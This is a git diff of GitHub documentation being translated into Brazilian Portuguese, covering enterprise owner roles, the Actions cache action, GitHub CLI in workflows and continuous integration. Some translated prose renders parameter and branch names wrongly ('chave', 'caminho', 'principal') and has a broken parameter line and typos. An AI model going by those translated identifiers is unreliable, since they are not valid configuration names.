+Se a sua organização é gerenciada por uma conta corporativa, você poderá ver os proprietários da empresa que gerenciam as configurações de cobrança e políticas para todas as organizações da sua empresa. Para obter mais informações sobre contas corporativas, consulte "[Tipos de contas de {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts)".
 
-You can also view whether an enterprise owner has a specific role in the organization. Enterprise owners can also be an organization member, any other organization role, or be unaffililated with the organization.
+Também é possível ver se o proprietário da empresa tem uma função específica na organização. Os proprietários de empresas também podem ser integrantes da organização, ter qualquer outra função na organização ou ser não afiliados à organização.
 
 {% note %}
 
-**Note:** If you're an organization owner, you can also invite an enterprise owner to have a role in the organization. If an enterprise owner accepts the invitation, a seat or license in the organization is used from the available licenses for your enterprise. For more information about how licensing works, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)."
+**Observação:** Se você é proprietário de uma organização, você também pode convidar um proprietário corporativo para ter uma função na organização. Se um proprietário corporativo aceitar o convite, uma estação ou licença na organização será usada nas licenças disponíveis para a sua empresa. Para obter mais informações sobre como o licenciamento funciona, consulte "[Funções em uma empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)".
 
 {% endnote %}
 
-| **Enterprise role** | **Organization role** | **Organization access or impact** |
-|----|----|----|----|
-| Enterprise owner | Unaffililated or no official organization role | Cannot access organization content or repositories but manages enterprise settings and policies that impact your organization. |
-| Enterprise owner | Organization owner | Able to configure organization settings and manage access to the organization's resources through teams, etc. | 
-| Enterprise owner | Organization member | Able to access organization resources and content, such as repositories, without access to the organization's settings. |
+| **Função corporativa**   | **Função da organização**                             | **Acesso à organização ou impacto**                                                                                                                    |
+| ------------------------ | ----------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| Proprietário corporativo | Não afiliado ou nenhuma função oficial da organização | Não é possível acessar o conteúdo ou repositórios da organização, mas gerencia as configurações e políticas corporativas que afetam a sua organização. |
+| Proprietário corporativo | Proprietário da organização                           | Capaz de configurar as configurações da organização e gerenciar o acesso aos recursos da organização por meio de equipes, etc.                         |
+| Proprietário corporativo | Integrante da organização                             | Capaz de acessar recursos e conteúdos da organização, como repositórios, sem acesso às configurações da organização.                                   |
 
-To review all roles in an organization, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." {% ifversion ghec %} An organization member can also have a custom role for a specific repository. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."{% endif %}
+Para revisar todas as funções de uma organização, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". {% ifversion ghec %} Um membro da organização também pode ter uma função personalizada para um repositório específico. Para obter mais informações, consulte "[Gerenciando funções de repositórios personalizados para uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)".{% endif %}
 
-For more information about the enterprise owner role, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)." 
+Para obter mais informações sobre a função de proprietário da empresa, consulte "[Funções em uma empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. In the left sidebar, under "Enterprise permissions", click **Enterprise owners**.
-  ![Screenshot of "Enterprise owners" option in sidebar menu](/assets/images/help/organizations/enterprise-owners-sidebar.png)
-5. View the list of the enterprise owners for your enterprise. If the enterprise owner is also a member of your organization, you can see their role in the organization.
+4. Na barra lateral esquerda, em "Permissões crporativas", clique em **Proprietários corporativos**. ![Captura de tela da opção "proprietários corporativos" no menu da barra lateral](/assets/images/help/organizations/enterprise-owners-sidebar.png)
+5. Veja a lista de proprietários corporativos para a sua empresa. Se o proprietário da empresa também for membro da sua organização, você poderá ver a sua função na organização.
 
-  ![Screenshot of list of Enterprise owners and their role in the organization](/assets/images/help/organizations/enterprise-owners-list-on-org-page.png)
+  ![Captura de tela da lista de proprietários corporativos e sua função na organização](/assets/images/help/organizations/enterprise-owners-list-on-org-page.png)
 
-{% endif %}
\ No newline at end of file
+{% endif %}
diff --git a/translations/pt-BR/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md b/translations/pt-BR/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
index 603f7c540d..b8d2531467 100644
--- a/translations/pt-BR/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
+++ b/translations/pt-BR/content/actions/advanced-guides/caching-dependencies-to-speed-up-workflows.md
@@ -1,7 +1,7 @@
 ---
-title: Caching dependencies to speed up workflows
-shortTitle: Caching dependencies
-intro: 'To make your workflows faster and more efficient, you can create and use caches for dependencies and other commonly reused files.'
+title: Memorizar dependências para acelerar os fluxos de trabalho
+shortTitle: Memorizar dependências
+intro: 'Para agilizar os seus fluxos de trabalho e torná-los mais eficientes, você pode criar e usar caches para dependências e outros arquivos reutilizados geralmente.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows
   - /actions/automating-your-workflow-with-github-actions/caching-dependencies-to-speed-up-workflows
@@ -15,21 +15,21 @@ topics:
   - Workflows
 ---
 
-## About caching workflow dependencies
+## Sobre a memorização das dependências do fluxo de trabalho
 
-Workflow runs often reuse the same outputs or downloaded dependencies from one run to another. For example, package and dependency management tools such as Maven, Gradle, npm, and Yarn keep a local cache of downloaded dependencies.
+As execuções do fluxo de trabalho geralmente reutilizam as mesmas saídas ou dependências baixadas de uma execução para outra. Por exemplo, as ferramentas de gerenciamento de pacotes e de dependência, como, por exemplo, Maven, Gradle, npm e Yarn mantêm uma cache local de dependências baixadas.
 
-Jobs on {% data variables.product.prodname_dotcom %}-hosted runners start in a clean virtual environment and must download dependencies each time, causing increased network utilization, longer runtime, and increased cost. To help speed up the time it takes to recreate these files, {% data variables.product.prodname_dotcom %} can cache dependencies you frequently use in workflows.
+Os trabalhos nos executores hospedados em {% data variables.product.prodname_dotcom %} começam em um ambiente virtual limpo e devem baixar as dependências todas as vezes, o que gera uma maior utilização da rede, maior tempo de execução e aumento dos custos. Para ajudar a acelerar o tempo que leva para recrear esses arquivos, {% data variables.product.prodname_dotcom %} pode memorizar as dependências que você usa frequentemente nos fluxos de trabalho.
 
-To cache dependencies for a job, you'll need to use {% data variables.product.prodname_dotcom %}'s `cache` action. The action retrieves a cache identified by a unique key. For more information, see [`actions/cache`](https://github.com/actions/cache).
+Para memorizar as dependências para um trabalho, você precisará usar a ação `cache` do {% data variables.product.prodname_dotcom %}. A ação recupera uma cache identificada por uma chave única. Para obter mais informações, consulte [`ações/cache`](https://github.com/actions/cache).
 
-If you are caching the package managers listed below, consider using the respective setup-* actions, which require almost zero configuration and are easy to use.
+Se você estiver armazenando em cache os gerentes de pacotes listados abaixo, considere usar as respectivas ações de setup-*, que exigem praticamente nenhuma configuração e são fáceis de usar.
 
 <table>
 <thead>
   <tr>
-    <th>Package managers</th>
-    <th>setup-* action for caching</th>
+    <th>Gerentes de pacotes</th>
+    <th>ação setup-* para cache</th>
   </tr>
 </thead>
 <tbody>
@@ -54,43 +54,43 @@ If you are caching the package managers listed below, consider using the respect
 
 {% warning %}
 
-**Warning**: We recommend that you don't store any sensitive information in the cache of public repositories. For example, sensitive information can include access tokens or login credentials stored in a file in the cache path. Also, command line interface (CLI) programs like `docker login` can save access credentials in a configuration file. Anyone with read access can create a pull request on a repository and access the contents of the cache. Forks of a repository can also create pull requests on the base branch and access caches on the base branch.
+**Alerta**: Recomendamos que você não armazene nenhuma informação confidencial na cache dos repositórios públicos. Por exemplo, as informações confidenciais podem incluir tokens de acesso ou credenciais de login armazenadas em um arquivo no caminho da cache. Além disso, os programas de interface da linha de comando (CLI) como o `login do Docker` pode salvar as credenciais de acesso em um arquivo de configuração. Qualquer pessoa com acesso de leitura pode criar um pull request em um repositório e acessar o conteúdo da cache. As bifurcações de um repositório também podem criar pull requests no branch-base e acessar as caches no branch-base.
 
 {% endwarning %}
 
-## Comparing artifacts and dependency caching
+## Comparando artefatos e memorização de dependência
 
-Artifacts and caching are similar because they provide the ability to store files on {% data variables.product.prodname_dotcom %}, but each feature offers different use cases and cannot be used interchangeably.
+Os artefatos são similares, pois fornecem a habilidade de armazenar arquivos em {% data variables.product.prodname_dotcom %}, mas cada recurso oferece usos diferentes e não podem ser usados de forma intercambiável.
 
-- Use caching when you want to reuse files that don't change often between jobs or workflow runs.
-- Use artifacts when you want to save files produced by a job to view after a workflow has ended. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+- Use a memorização quando desejar reutilizar os arquivos que não mudam com frequência entre trabalhos ou execuções de fluxos de trabalho.
+- Use artefatos quando desejar salvar arquivos produzidos por um trabalho a ser visualizado após a conclusão de um fluxo de trabalho. Para obter mais informações, consulte "[Dados recorrentes do fluxo de trabalho que usam artefatos](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)".
 
-## Restrictions for accessing a cache
+## Restrições para acessar uma cache
 
-With `v2` of the `cache` action, you can access the cache in workflows triggered by any event that has a `GITHUB_REF`. If you are using `v1` of the `cache` action, you can only access the cache in workflows triggered by `push` and `pull_request` events, except for the `pull_request` `closed` event. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+Com `v2` da ação da `cache`, você pode acessar a cache nos fluxos de trabalho ativados por qualquer evento que tem um `GITHUB_REF`. Se você estiver usando `v1` da ação da `cache`, você só poderá acessar a cache em fluxos de trabalho ativados por eventos de `push` e `pull_request`, exceto para o evento `fechado` de `pull_request`. Para obter mais informações, consulte "[Eventos que acionam fluxos de trabalho](/actions/reference/events-that-trigger-workflows)".
 
-A workflow can access and restore a cache created in the current branch, the base branch (including base branches of forked repositories), or the default branch (usually `main`). For example, a cache created on the default branch would be accessible from any pull request. Also, if the branch `feature-b` has the base branch `feature-a`, a workflow triggered on `feature-b` would have access to caches created in the default branch (`main`), `feature-a`, and `feature-b`.
+Um fluxo de trabalho pode acessar e restaurar um cache criado no branch atual, no branch de base (incluindo branches base de repositórios bifurcados) ou no branch-padrão (geralmente `principal`). Por exemplo, um cache criado no branch-padrão pode ser acessado a partir de qualquer pull request. Além disso, se o branch `feature-b` tiver o branch de base `feature-a`, um fluxo de trabalho acionado em `feature-b` teria acesso a caches criados no branch-padrão (`principal`), `feature-a` e `feature-b`.
 
-Access restrictions provide cache isolation and security by creating a logical boundary between different branches. For example, a cache created for the branch `feature-a` (with the base `main`) would not be accessible to a pull request for the branch `feature-b` (with the base `main`).
+As restrições de acesso fornecem o isolamento da cache e a segurança ao criar um limite lógico entre os diferentes branches. Por exemplo, um cache criado para o branch `feature-a` (com a base no `principal`) não seria acessível para um pull request para o branch `feature-b` (com a base no `principal`).
 
-Multiple workflows within a repository share cache entries. A cache created for a branch within a workflow can be accessed and restored from another workflow for the same repository and branch.
+Vários fluxos de trabalho dentro de um repositório compartilham entradas de cache. Uma cache criada para um branch de um fluxo de trabalho pode ser acessada e restaurada a partir de outro fluxo de trabalho para o mesmo repositório e branch.
 
-## Using the `cache` action
+## Usar a ação `cache`
 
-The `cache` action will attempt to restore a cache based on the `key` you provide. When the action finds a cache, the action restores the cached files to the `path` you configure.
+A ação `cache` tentará restaurar uma cache com base na `chave` que você fornecer. Quando a ação encontrar uma cache, ela irá restaurar os arquivos memorizados no `caminho` que você configurar.
 
-If there is no exact match, the action creates a new cache entry if the job completes successfully. The new cache will use the `key` you provided and contains the files in the `path` directory.
+Se não houver uma correspondência perfeita, a ação criará uma nova entrada da cache se o trabalho for concluído com sucesso. A nova cache usará a `chave` que você forneceu e conterá os arquivos no diretório do `caminho`.
 
-You can optionally provide a list of `restore-keys` to use when the `key` doesn't match an existing cache. A list of `restore-keys` is useful when you are restoring a cache from another branch because `restore-keys` can partially match cache keys. For more information about matching `restore-keys`, see "[Matching a cache key](#matching-a-cache-key)."
+Como alternativa, você pode fornecer uma lista de `chaves de restauração` a serem usadas quando a `chave` não corresponder à cache existente. Uma lista de `chaves de restauração` é importante quando você está tentando restaurar uma cache de outro branch, pois `as chaves de restauração`<code podem corresponder parcialmente às chaves da cache. Para obter mais informações sobre a correspondência das `chaves de restauração`, consulte "[Correspondendo uma chave da cache](#matching-a-cache-key)".
 
-For more information, see [`actions/cache`](https://github.com/actions/cache).
+Para obter mais informações, consulte [`ações/cache`](https://github.com/actions/cache).
 
-### Input parameters for the `cache` action
+### Parâmetros de entrada para a ação da `cache`
 
-- `key`: **Required** The key created when saving a cache and the key used to search for a cache. Can be any combination of variables, context values, static strings, and functions. Keys have a maximum length of 512 characters, and keys longer than the maximum length will cause the action to fail.
-- `path`: **Required** The file path on the runner to cache or restore. The path can be an absolute path or relative to the working directory.
-  - Paths can be either directories or single files, and glob patterns are supported.
-  - With `v2` of the `cache` action, you can specify a single path, or you can add multiple paths on separate lines. For example:
+- `key`: **Obrigatório** A chave criada ao salvar uma cache e a chave usada para pesquisar uma cache. Pode ser qualquer combinação de variáveis, valores de contexto, strings estáticas e funções. As chaves têm um tamanho máximo de 512 caracteres e as chaves maiores que o tamanho máximo gerarão uma falha na ação.
+- ``de caminho : **Required** O caminho do arquivo no corredor para cache ou restauração. O caminho pode ser absoluto ou relativo com relação ao diretório de trabalho.
+  - Os caminhos podem ser diretórios ou arquivos únicos. Os padrões de glob são compatíveis.
+  - Com o `v2` da ação `cache`, é possível especificar um único caminho ou é possível adicionar vários caminhos em linhas separadas. Por exemplo:
     ```
     - name: Cache Gradle packages
       uses: actions/cache@v2
@@ -99,16 +99,16 @@ For more information, see [`actions/cache`](https://github.com/actions/cache).
           ~/.gradle/caches
           ~/.gradle/wrapper
     ```
-  - With `v1` of the `cache` action, only a single path is supported and it must be a directory. You cannot cache a single file.
-- `restore-keys`: **Optional** An ordered list of alternative keys to use for finding the cache if no cache hit occurred for `key`.
+  - Com `v1` da ação da `cache`, somente um caminho único é compatível e deve ser um diretório. Você não pode armazenar um único arquivo.
+- `chaves de restauração`: **Opcional** Uma lista ordenada de chaves alternativas a serem usadas para encontrar a cache se não ocorrer correspondência para a `chave`.
 
-### Output parameters for the `cache` action
+### Parâmetros de saída para a ação da `cache`
 
-- `cache-hit`: A boolean value to indicate an exact match was found for the key.
+- `cache-hit`: Um valor booleano para indicar que uma correspondência exata foi encontrada para a chave.
 
-### Example using the `cache` action
+### Exemplo do uso da ação da `cache`
 
-This example creates a new cache when the packages in `package-lock.json` file change, or when the runner's operating system changes. The cache key uses contexts and expressions to generate a key that includes the runner's operating system and a SHA-256 hash of the `package-lock.json` file.
+Este exemplo cria uma nova cache quando são alterados os pacotes no arquivo `package-lock.json` ou quando é alterado o sistema operacional do executor. A chave da cache usa contextos e expressões para gerar uma chave que inclui o sistema operacional do executor e um hash SHA-256 do arquivo `package-lock.json` file.
 
 {% raw %}
 ```yaml{:copy}
@@ -147,23 +147,23 @@ jobs:
 ```
 {% endraw %}
 
-When `key` matches an existing cache, it's called a cache hit, and the action restores the cached files to the `path` directory.
+O processo de a `chave` corresponder a uma cache existente é denominado correspondência e a ação restaura o arquivo memorizado no diretório do `caminho`.
 
-When `key` doesn't match an existing cache, it's called a cache miss, and a new cache is created if the job completes successfully. When a cache miss occurs, the action searches for alternate keys called `restore-keys`.
+O processo de a `chave` não corresponder a uma cache existente é denominado falha e cria-se uma nova cache se o trabalho for concluído com sucesso. Ao ocorrer uma falha da cache, a ação pesquisa chaves alternativas chamadas `chaves de restauração`.
 
-1. If you provide `restore-keys`, the `cache` action sequentially searches for any caches that match the list of `restore-keys`.
-   - When there is an exact match, the action restores the files in the cache to the `path` directory.
-   - If there are no exact matches, the action searches for partial matches of the restore keys. When the action finds a partial match, the most recent cache is restored to the `path` directory.
-1. The `cache` action completes and the next workflow step in the job runs.
-1. If the job completes successfully, the action creates a new cache with the contents of the `path` directory.
+1. Se você fornecer `chaves de restauração`, a ação da `cache` pesquisará, em seguida, todas as caches que correspondem à lista de `chaves de restauração`.
+   - Se houver uma correspondência exata, a ação irá restaurar os arquivos na cache para o diretório do `caminho`.
+   - Se não houver correspondências exatas, a ação pesquisará correspondências parciais das chaves de restauração. Quando uma ação encontra uma correspondência parcial, a última cache é restaurada para o diretório do `caminho`.
+1. A ação da `cache` é concluída e a próxima etapa do fluxo de trabalho é executada no trabalho.
+1. Se o trabalho for concluído com sucesso, a ação cria uma nova cache com o conteúdo do diretório do `caminho`.
 
-To cache files in more than one directory, you will need a step that uses the [`cache`](https://github.com/actions/cache) action for each directory. Once you create a cache, you cannot change the contents of an existing cache but you can create a new cache with a new key.
+Para memorizar os arquivos em mais de um diretório, você precisará de uma etapa que usa a ação da [`cache`](https://github.com/actions/cache) para cada diretório. Após criar uma cache, você não poderá alterar o conteúdo de uma cache existente, mas você poderá criar uma nova cache com uma nova chave.
 
-### Using contexts to create cache keys
+### Usar contextos para criar chaves da cache
 
-A cache key can include any of the contexts, functions, literals, and operators supported by {% data variables.product.prodname_actions %}. For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
+Uma chave da cache pode incluir quaisquer contextos, funções, literais e operadores suportados por {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Expressões](/actions/learn-github-actions/expressions)".
 
-Using expressions to create a `key` allows you to automatically create a new cache when dependencies have changed. For example, you can create a `key` using an expression that calculates the hash of an npm `package-lock.json` file.
+Usar expressões para criar uma `chave` permite que você crie automaticamente uma nova cache quando as dependências forem alteradas. Por exemplo, você pode criar uma `chave` usando uma expressão que calcula o hash de um arquivo `package-lock.json` de npm.
 
 {% raw %}
 ```yaml
@@ -171,19 +171,19 @@ npm-${{ hashFiles('package-lock.json') }}
 ```
 {% endraw %}
 
-{% data variables.product.prodname_dotcom %} evaluates the expression `hash "package-lock.json"` to derive the final `key`.
+{% data variables.product.prodname_dotcom %} avalia a expressão `hash "package-lock.json"` para derivar a `chave` final.
 
 ```yaml
 npm-d5ea0750
 ```
 
-## Matching a cache key
+## Corresponder uma chave da cache
 
-The `cache` action first searches for cache hits for `key` and `restore-keys` in the branch containing the workflow run. If there are no hits in the current branch, the `cache` action searches for `key` and `restore-keys` in the parent branch and upstream branches.
+A ação da `cache` primeiro pesquisa correspondências da cache para a `chave` e para as `chaves de restauração` no branch que contém a execução do fluxo de trabalho. Se não houver correspondências no branch atual, a ação da `cache` pesquisa a `chave` e as `chaves de restauração` no branch-pai e nos branches upstream.
 
-You can provide a list of restore keys to use when there is a cache miss on `key`. You can create multiple restore keys ordered from the most specific to least specific. The `cache` action searches for `restore-keys` in sequential order. When a key doesn't match directly, the action searches for keys prefixed with the restore key. If there are multiple partial matches for a restore key, the action returns the most recently created cache.
+Você pode fornecer uma lista de chaves de restauração a serem usadas quando houver uma falha de cache na `chave`. Você pode criar múltiplas chaves de restauração ordenadas da mais específica para a menos específica. A ação da `cache` pesquisa as `chaves de restauração` em ordem sequencial. Quando uma chave não corresponde diretamente, a ação pesquisa as chaves prefixadas com a chave de restauração. Se houver múltiplas correspondências parciais para uma chave de restauração, a ação retornará a cache criada por último.
 
-### Example using multiple restore keys
+### Exemplo do uso de múltiplas chaves de restauração
 
 {% raw %}
 ```yaml
@@ -194,7 +194,7 @@ restore-keys: |
 ```
 {% endraw %}
 
-The runner evaluates the expressions, which resolve to these `restore-keys`:
+O executor avalia as expressões, que resolvem essas `chaves de restauração`:
 
 {% raw %}
 ```yaml
@@ -205,13 +205,13 @@ restore-keys: |
 ```
 {% endraw %}
 
-The restore key `npm-foobar-` matches any key that starts with the string `npm-foobar-`. For example, both of the keys `npm-foobar-fd3052de` and `npm-foobar-a9b253ff` match the restore key. The cache with the most recent creation date would be used. The keys in this example are searched in the following order:
+A chave de restauração `npm-foobar-` corresponde a qualquer chave que começa com a string `npm-foobar-`. Por exemplo, ambas as chaves `npm-foobar-fd3052de` e `npm-foobar-a9b253ff` correspondem à chave de restauração. Será usada a cache com a data de criação mais recente. As chaves neste exemplo são pesquisadas na ordem a seguir:
 
-1. **`npm-foobar-d5ea0750`** matches a specific hash.
-1. **`npm-foobar-`** matches cache keys prefixed with `npm-foobar-`.
-1. **`npm-`** matches any keys prefixed with `npm-`.
+1. **`npm-foobar-d5ea0750`** corresponde a um hash específico.
+1. **`npm-foobar-`** corresponde a chaves da cache prefixadas com `npm-foobar-`.
+1. **`npm-`** corresponde a chaves prefixadas com `npm-`.
 
-#### Example of search priority
+#### Exemplo de prioridade de pesquisa
 
 ```yaml
 key:
@@ -221,15 +221,15 @@ restore-keys: |
   npm-
 ```
 
-For example, if a pull request contains a `feature` branch (the current scope) and targets the default branch (`main`), the action searches for `key` and `restore-keys` in the following order:
+Por exemplo, se um pull request contiver um branch de`recurso` (escopo atual) e atingir o branch-padrão (`principal`), a ação pesquisará a `chave` e as `chaves de restauração` na ordem a seguir:
 
-1. Key `npm-feature-d5ea0750` in the `feature` branch scope
-1. Key `npm-feature-` in the `feature` branch scope
-2. Key `npm-` in the `feature` branch scope
-1. Key `npm-feature-d5ea0750` in the `main` branch scope
-3. Key `npm-feature-` in the `main` branch scope
-4. Key `npm-` in the `main` branch scope
+1. Chave `npm-feature-d5ea0750` no escopo do branch `de recurso`
+1. Chave `npm-feature-` no escopo do ramo `de recurso`
+2. Chave `npm-` no escopo do branch `de recurso`
+1. Chave `npm-feature-d5ea0750` no escopo do branc `principal`
+3. Chave `npm-feature-` no escopo do branch `principal`
+4. Chave `npm` no escopo do branch `principal`
 
-## Usage limits and eviction policy
+## Limites de uso e política de eliminação
 
-{% data variables.product.prodname_dotcom %} will remove any cache entries that have not been accessed in over 7 days. There is no limit on the number of caches you can store, but the total size of all caches in a repository is limited to 10 GB. If you exceed this limit, {% data variables.product.prodname_dotcom %} will save your cache but will begin evicting caches until the total size is less than 10 GB.
+{% data variables.product.prodname_dotcom %} removerá todas as entradas da cache não acessadas há mais de 7 dias. Não há limite para o número de caches que você pode armazenar, mas o limite do tamanho total de todas as caches em um repositório é 10 GB. Se você exceder este limite, {% data variables.product.prodname_dotcom %} salvará a sua cache, mas começará a eliminar as caches até que o tamanho total seja inferior a 10 GB.
diff --git a/translations/pt-BR/content/actions/advanced-guides/index.md b/translations/pt-BR/content/actions/advanced-guides/index.md
index d5765c95f4..88ac315147 100644
--- a/translations/pt-BR/content/actions/advanced-guides/index.md
+++ b/translations/pt-BR/content/actions/advanced-guides/index.md
@@ -1,7 +1,7 @@
 ---
-title: Advanced guides
-shortTitle: Advanced guides
-intro: 'How to cache dependencies, store output as artifacts, and use the GitHub CLI in workflows.'
+title: Guias avançados
+shortTitle: Guias avançados
+intro: 'Como armazenar dependências, armazenar os resultados como artefatos e usar a CLI do GitHub em fluxos de trabalho.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/pt-BR/content/actions/advanced-guides/using-github-cli-in-workflows.md b/translations/pt-BR/content/actions/advanced-guides/using-github-cli-in-workflows.md
index 39160cc653..8aea18af30 100644
--- a/translations/pt-BR/content/actions/advanced-guides/using-github-cli-in-workflows.md
+++ b/translations/pt-BR/content/actions/advanced-guides/using-github-cli-in-workflows.md
@@ -1,7 +1,7 @@
 ---
-title: Using GitHub CLI in workflows
-shortTitle: GitHub CLI in workflows
-intro: 'You can script with {% data variables.product.prodname_cli %} in {% data variables.product.prodname_actions %} workflows.'
+title: Usar o GitHub CLI em fluxos de trabalho
+shortTitle: CLI do GitHub em fluxos de trabalho
+intro: 'Você pode fazero script com {% data variables.product.prodname_cli %} em fluxos de trabalho {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /actions/guides/using-github-cli-in-workflows
 versions:
@@ -18,9 +18,9 @@ type: how_to
 
 {% data reusables.cli.cli-learn-more %}
 
-{% data variables.product.prodname_cli %} is preinstalled on all {% data variables.product.prodname_dotcom %}-hosted runners. For each step that uses {% data variables.product.prodname_cli %}, you must set an environment variable called `GITHUB_TOKEN` to a token with the required scopes.
+{% data variables.product.prodname_cli %} está pré-instalado em todos os executores hospedados em {% data variables.product.prodname_dotcom %}. Para cada etapa que usa {% data variables.product.prodname_cli %}, você deve definir uma variável de ambiente denominada `GITHUB_TOKEN` como um token com os escopos necessários.
 
-You can execute any {% data variables.product.prodname_cli %} command. For example, this workflow uses the `gh issue comment` subcommand to add a comment when an issue is opened.
+Você pode executar qualquer comando de {% data variables.product.prodname_cli %}. Por exemplo, este fluxo de trabalho usa o subcomando `gh issue comment` para adicionar um comentário quando um problema é aberto.
 
 ```yaml{:copy}
 name: Comment when opened
@@ -38,7 +38,7 @@ jobs:
           ISSUE: {% raw %}${{ github.event.issue.html_url }}{% endraw %}
 ```
 
-You can also execute API calls through {% data variables.product.prodname_cli %}. For example, this workflow first uses the `gh api` subcommand to query the GraphQL API and parse the result. Then it stores the result in an environment variable that it can access in a later step. In the second step, it uses the `gh issue create` subcommand to create an issue containing the information from the first step.
+Você também pode executar chamadas de API por meio de {% data variables.product.prodname_cli %}. Por exemplo, este fluxo de trabalho usa primeiro o subcomando `gh api` para consultar a API do GraphQL e analisar o resultado. Em seguida, ele armazena o resultado de uma variável de ambiente a qual pode acessar em uma etapa posterior. Na segunda etapa, ele usa o subcomando `gh issue create` para criar um problema que contém as informações da primeira etapa.
 
 ```yaml{:copy}
 name: Report remaining open issues
diff --git a/translations/pt-BR/content/actions/automating-builds-and-tests/about-continuous-integration.md b/translations/pt-BR/content/actions/automating-builds-and-tests/about-continuous-integration.md
index 5c660e6ecb..38cdd1034f 100644
--- a/translations/pt-BR/content/actions/automating-builds-and-tests/about-continuous-integration.md
+++ b/translations/pt-BR/content/actions/automating-builds-and-tests/about-continuous-integration.md
@@ -1,6 +1,6 @@
 ---
-title: About continuous integration
-intro: 'You can create custom continuous integration (CI) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.'
+title: Sobre integração contínua
+intro: 'Você pode criar fluxos de trabalho de integração contínua (CI) personalizados diretamente no repositório do {% data variables.product.prodname_dotcom %} com o {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /articles/about-continuous-integration
   - /github/automating-your-workflow-with-github-actions/about-continuous-integration
@@ -15,46 +15,46 @@ versions:
 type: overview
 topics:
   - CI
-shortTitle: Continuous integration
+shortTitle: Integração contínua
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About continuous integration
+## Sobre integração contínua
 
-Continuous integration (CI) is a software practice that requires frequently committing code to a shared repository. Committing code more often detects errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts.
+A integração contínua (CI, Continuous Integration) é uma prática de software que exige commits frequentes de códigos para um repositório compartilhado. Fazer commits de códigos com frequência detecta erros com mais antecedência e reduz a quantidade de código necessária para depuração quando os desenvolvedores chegam à origem de um erro. As atualizações frequentes de código também facilitam o merge de alterações dos integrantes de uma equipe de desenvolvimento de software. Assim, os desenvolvedores podem se dedicar mais à gravação de códigos e se preocupar menos com erros de depuração ou conflitos de merge.
 
-When you commit code to your repository, you can continuously build and test the code to make sure that the commit doesn't introduce errors. Your tests can include code linters (which check style formatting), security checks, code coverage, functional tests, and other custom checks.
+Ao fazer commit do seu repositório, você pode continuamente compilar e testar o código para garantir que o commit não insira erros. Seus testes podem incluir linters de código (que verificam formatação de estilo), verificações de segurança, cobertura de código, testes funcionais e outras verificações personalizadas.
 
-Building and testing your code requires a server. You can build and test updates locally before pushing code to a repository, or you can use a CI server that checks for new code commits in a repository.
+Para compilar e testar seu código, é necessário usar um servidor. Você pode criar e testar atualizações no local antes de fazer push do código para um repositório, ou pode usar um servidor de CI que verifica os novos commits de código em um repositório.
 
-## About continuous integration using {% data variables.product.prodname_actions %}
+## Sobre integração contínua usando {% data variables.product.prodname_actions %}
 
-{% ifversion ghae %}CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on runner systems that you host. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
-{% else %} CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)" and "[About self-hosted runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)."
+{% ifversion ghae %}CI que usa {% data variables.product.prodname_actions %} oferece fluxos de trabalho que podem criar o código no repositório e executar os seus testes. Os fluxos de trabalho podem ser executados em sistemas de executores que você hospeda. Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)."
+{% else %} CI que usa {% data variables.product.prodname_actions %} oferece fluxos de trabalho que podem criar o código no seu repositório e executar seus testes. Fluxos de trabalho podem ser executados em máquinas virtuais hospedadas em {% data variables.product.prodname_dotcom %} ou em máquinas que você mesmo hospeda. Para obter mais informações, consulte "[Ambientes virtuais para executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)" e "[Sobre executores auto-hospedados](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)".
 {% endif %}
 
-You can configure your CI workflow to run when a {% data variables.product.prodname_dotcom %} event occurs (for example, when new code is pushed to your repository), on a set schedule, or when an external event occurs using the repository dispatch webhook.
